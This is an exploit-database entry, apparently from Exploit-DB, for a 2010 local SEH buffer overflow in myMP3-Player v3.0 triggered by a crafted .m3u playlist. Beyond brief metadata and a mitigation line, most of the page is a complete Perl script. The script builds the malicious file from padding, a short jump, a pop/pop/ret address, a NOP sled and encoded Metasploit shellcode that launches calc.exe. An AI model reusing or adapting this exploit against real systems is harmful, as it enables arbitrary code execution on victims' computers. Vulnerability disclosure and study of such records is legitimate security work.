myMP3-Player v3.0 (.m3u) Local Buffer Overflow Exploit (SEH)

vendor:

myMP3-Player

by:

n3w7u

7,8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: myMP3-Player

Affected Version From: 3.0

Affected Version To: 3.0

Patch Exists: Yes

Related CWE: N/A

CPE: a:mymp3player:mymp3player:3.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2010

myMP3-Player v3.0 (.m3u) Local Buffer Overflow Exploit (SEH)

myMP3-Player v3.0 is vulnerable to a local buffer overflow exploit when a specially crafted .m3u file is opened. This exploit uses a short jump, a pop/pop/ret instruction, and a NOP sled followed by shellcode to execute arbitrary code. The exploit was tested on Windows XP SP3 (ger).

Mitigation:

Update to the latest version of myMP3-Player.

Source

Exploit-DB raw data:

#!/usr/bin/perl

# Title: myMP3-Player v3.0 (.m3u) Local Buffer Overflow Exploit (SEH)
# Date: 18.03.2010
# Author: n3w7u
# Software Link: http://www.chip.de/downloads/myMP3-Player-3.0_13008621.html
# Version: 3.0 and the other version can't be download from serious Page, and don't be free.
# Tested on: Windows XP SP3 (ger)


#[ Buffer ][ Short Jump ][ P/P/R ][ NOP ][ Shellcode ][ NOP ]

my $file= "evil.m3u";
my $junk ="\x41" x 1040; # for myMp3 Player 5/cracked junk =1056
my $jmp="\xEB\x08\x90\x90"; # jmp short
my $seh="\x25\x12\xC8\x72"; #72 C8 12 25 msacm32.drv
my $nop ="\x90" x 20;
my $nops ="\x90" x 10;

# windows/exec - 224 bytes
# http://www.metasploit.com
# Encoder: x86/call4_dword_xor
# EXITFUNC=process, CMD=calc.exe
my $buf =
"\x2b\xc9\x83\xe9\xce\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" .
"\x0e\xa8\x6e\x77\xce\x83\xee\xfc\xe2\xf4\x54\x86\xfe\xce" .
"\xa8\x6e\x17\x47\x4d\x5f\xa5\xaa\x23\x3c\x47\x45\xfa\x62" .
"\xfc\x9c\xbc\xe5\x05\xe6\xa7\xd9\x3d\xe8\x99\x91\x46\x0e" .
"\x04\x52\x16\xb2\xaa\x42\x57\x0f\x67\x63\x76\x09\x4a\x9e" .
"\x25\x99\x23\x3c\x67\x45\xea\x52\x76\x1e\x23\x2e\x0f\x4b" .
"\x68\x1a\x3d\xcf\x78\x3e\xfc\x86\xb0\xe5\x2f\xee\xa9\xbd" .
"\x94\xf2\xe1\xe5\x43\x45\xa9\xb8\x46\x31\x99\xae\xdb\x0f" .
"\x67\x63\x76\x09\x90\x8e\x02\x3a\xab\x13\x8f\xf5\xd5\x4a" .
"\x02\x2c\xf0\xe5\x2f\xea\xa9\xbd\x11\x45\xa4\x25\xfc\x96" .
"\xb4\x6f\xa4\x45\xac\xe5\x76\x1e\x21\x2a\x53\xea\xf3\x35" .
"\x16\x97\xf2\x3f\x88\x2e\xf0\x31\x2d\x45\xba\x85\xf1\x93" .
"\xc2\x6f\xfa\x4b\x11\x6e\x77\xce\xf8\x06\x46\x45\xc7\xe9" .
"\x88\x1b\x13\x9e\xc2\x6c\xfe\x06\xd1\x5b\x15\xf3\x88\x1b" .
"\x94\x68\x0b\xc4\x28\x95\x97\xbb\xad\xd5\x30\xdd\xda\x01" .
"\x1d\xce\xfb\x91\xa2\xad\xc9\x02\x14\xe0\xcd\x16\x12\xce";

open($File,">$file");
print $File $junk.$jmp.$seh.$nop.$buf.$nops;
close($File);